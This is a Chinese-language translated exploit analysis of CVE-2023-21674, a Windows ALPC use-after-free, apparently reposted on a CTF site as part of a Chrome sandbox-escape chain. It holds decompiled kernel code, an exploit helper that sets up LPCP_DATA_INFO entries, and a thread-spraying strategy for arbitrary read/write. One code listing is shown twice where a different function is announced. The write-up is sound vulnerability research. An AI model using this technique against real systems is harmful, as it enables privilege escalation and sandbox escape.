为了利用这个漏洞,需要找到WaitingThread被使用的位置。我们发现了几个,例如NtAlpcOpenSenderThreadNtAlpcOpenSenderProcessAlpcpGetEffectiveTokenMessageLpcpCopyRequestData等等。(WaitingThread也在发送消息时被使用,可以利用这部分代码进行利用。但本文不会涉及这部分。)

__int64 __fastcall NtAlpcOpenSenderThread(
        PHANDLE ThreadHandle,
        HANDLE a2,
        PPORT_MESSAGE a3,
        bool a4,
        int access_mask,
        _OWORD *a6)
{
  ...
  v14 = AlpcpLookupMessage((_ALPC_PORT *)DmaAdapter, Source2.MessageId, Source2.CallbackId, a4, &alpc_message);
  if ( v14 < 0 )  { /* ERROR */ }
  else
  {
    ...
    waiting_thread = alpc_message->WaitingThread;
    if ( waiting_thread && RtlCompareMemory(&waiting_thread->Cid, &Source2.8, 0x10ui64) == 16 )
    {
      ObfReferenceObject(waiting_thread); // Reference
      AlpcpUnlockMessage((ULONG_PTR)v17);
      v14 = PsOpenThread((HANDLE *)phthread, access_mask, &object_attributes, &Source2.8, 0, PreviousMode);
      DereferenceObject((PADAPTER_OBJECT)waiting_thread); // Dereference
  ...
}
__int64 __fastcall NtAlpcOpenSenderProcess(
        PHANDLE ProcessHandle,
        void *a2,
        PPORT_MESSAGE a3,
        __int64 a4,
        ACCESS_MASK acess_mask,
        __int128 *a6)
{
  ...
  v14 = AlpcpLookupMessage((_ALPC_PORT *)DmaAdapter, Source2.MessageId, Source2.CallbackId, a4, &alpc_message);
  if ( v14 < 0 )  { /* ERROR */ }
  else
  {
    ...
    waiting_thread = alpc_message->WaitingThread;
    if ( waiting_thread && RtlCompareMemory(&waiting_thread->Cid, &Source2.8, 0x10ui64) == 16 )
    {
      process = (_EPROCESS *)waiting_thread->Tcb.Process;
      ObfReferenceObjectWithTag(process, 0x63706C41u); // Reference
      AlpcpUnlockMessage((ULONG_PTR)alpc_message);
      v14 = PsOpenProcess(&v26, acess_mask, &v30, (__int128 *)((char *)&Source2 + 8), 0, prev_mode);
      ObfDereferenceObjectWithTag(process, 0x63706C41u); // Dereference

  ...
}
// NtAlpcQueryInformationMessage --> AlpcpQueryTokenModifiedIdMessage -> AlpcpGetEffectiveTokenMessage
__int64 __fastcall AlpcpGetEffectiveTokenMessage(_ALPC_PORT *port_obj, _KALPC_MESSAGE *alpc_message, _QWORD *a3, __int64 a4, _BYTE *a5)
{
  ...
  // Check Port == Server, Message Owner == Client
  // 2 ==> Server, 4 ==> Client
  owner_port = alpc_message->OwnerPort;
  if ( (port_obj->u1.State & 6) != 2 || !owner_port || (owner_port->u1.State & 6) != 4 )
    return 0xC0000022i64;
  ...
  // Reference WaitingThread
  waiting_thread = alpc_message->WaitingThread;
  if ( !waiting_thread )
    return 0xC0000022i64;
  // Do Something with WaitingThread
  result = SeCreateClientSecurityEx(waiting_thread, (__int64)&owner_port->PortAttributes.SecurityQos, 0, a4);
}

然而,NtAlpcOpenSenderThread 和 NtAlpcOpenSenderProcess 并不是很好的利用对象,因为两者都只是引用和取消引用悬空指针所指向的内存区域。另外,AlpcpGetEffectiveTokenMessage 需要一个服务器和客户端连接,由于其完整性不受信任,因此在 Chrome 渲染器进程中不可用。

因此我们重点关注LpcpCopyRequestData函数,如下所示。

// NtAlpcQueryInformationMessage --> AlpcpQueryTokenModifiedIdMessage -> AlpcpGetEffectiveTokenMessage
__int64 __fastcall AlpcpGetEffectiveTokenMessage(_ALPC_PORT *port_obj, _KALPC_MESSAGE *alpc_message, _QWORD *a3, __int64 a4, _BYTE *a5)
{
  ...
  // Check Port == Server, Message Owner == Client
  // 2 ==> Server, 4 ==> Client
  owner_port = alpc_message->OwnerPort;
  if ( (port_obj->u1.State & 6) != 2 || !owner_port || (owner_port->u1.State & 6) != 4 )
    return 0xC0000022i64;
  ...
  // Reference WaitingThread
  waiting_thread = alpc_message->WaitingThread;
  if ( !waiting_thread )
    return 0xC0000022i64;
  // Do Something with WaitingThread
  result = SeCreateClientSecurityEx(waiting_thread, (__int64)&owner_port->PortAttributes.SecurityQos, 0, a4);
}

如果 ALPC 消息的 DataInfoOffset 被设置,那么就会从消息中检索表示为 LPCP_DATA_INFO 结构的数据信息对象。

typedef struct _LPCP_DATA_INFO
{
    ULONG NumberOfEntries;
    struct
    {
        PVOID BaseAddress;
        ULONG DataLength;
    } Entries[1];
} LPCP_DATA_INFO, *PLPCP_DATA_INFO;

我们可以轻松地在消息中设置一个如下的 LPCP_DATA_INFO 结构。

void SetupDataInfo(ULONG_PTR addr) {
  ...
  RtlSecureZeroMemory(&pmSend, sizeof(pmSend));
  pmSend.u1.s1.DataLength = MSG_LEN;
  pmSend.u1.s1.TotalLength = pmSend.u1.s1.DataLength + sizeof(pmSend);
  pmSend.MessageId = messageid;
  pmSend.CallbackId = callbackid;
  pmSend.u2.s2.DataInfoOffset = 0x30;
  lpMem = CreateMsgMem(&pmSend, MSG_LEN, (LPVOID)longstr);

  PLPCP_DATA_INFO datainfo = (PLPCP_DATA_INFO)((ULONG_PTR)lpMem + pmSend.u2.s2.DataInfoOffset);

  datainfo->NumberOfEntries = NumOfEntries; // CNT
  for (int i = 0; i < NumOfEntries; i++) {
    datainfo->Entries[i].BaseAddress = (PVOID)addrs[i]; // Address
    datainfo->Entries[i].DataLength = (ULONG)0x1000;    // Size
  }

  pwfdw->AlpcSendMessage = (PPORT_MESSAGE)lpMem;
  pwfdw->AlpcSendMessagePort = hPort;
  pwfdw->AlpcSendMessageFlags = (1 << 0x11); // ALPC_MSGFLG_SYNC_REQUEST
  pwfdw->Flags = 0x1;

  ULONG outlen = 0;

  NtWaitForWorkViaWorkerFactory(hWorkerFactory, piocomp, 1, &outlen, pwfdw);
}

最后,LPCP_DATA_INFO 结构中的地址通过 MmCopyVirtualMemory 进行读取。由于目标进程地址是从 waiting_thread 获取的,而这是一个已释放的指针,我们可以将其设置为任意值。

然而,在没有另一个信息泄露漏洞的情况下构建一个虚假结构并不容易。因此,我们可以利用一个高特权进程的线程,而不是使用伪造的 _EPROCESS。如果高特权进程的线程被分配到由悬空指针指向的相同内存区域中,我们就可以在该进程中实现任意读/写原语。

为了扩散高权限进程的线程,我们使用了 showOpenFilePicker();当调用该 API 时,Chrome 会创建一个中等完整性的新进程。此外,文件选择器进程在创建时会生成许多线程,这使其适合进行利用。

N-days Chaining 漏洞利用分析 Part 2 :Chrome 沙盒逃逸

通过利用文件选择器进程上的任意读/写原语,我们最终可以以中等完整性执行任意代码。

更详细的信息,包括 PoC 和利用代码,请参阅Fermium-252: The Cyber Threat Intelligence Database

7 结论

本文对 CVE-2023–21674进行了详细 分析,该漏洞已在1-day full chain 中进行演示。下一篇文章将介绍 Windows LPE,CVE-2023–29360,该漏洞在 2023 年 Pwn2Own 温哥华比赛中被利用。

8 参考链接

  1. https://github.com/hd3s5aa/CVE-2023-21674
  2. https://github.com/hd3s5aa/CVE-2023-21674
  3. https://recon.cx/2008/a/thomas_garnier/LPC-ALPC-paper.pdf
  4. https://github.com/DownWithUp/ALPC-Example
  5. https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2023-21674

原文始发于知道创宇404实验室翻译组:N-days Chaining 漏洞利用分析 Part 2 :Chrome 沙盒逃逸

版权声明:admin 发表于 2024年4月29日 下午10:36。
转载请注明:N-days Chaining 漏洞利用分析 Part 2 :Chrome 沙盒逃逸 | CTF导航

相关文章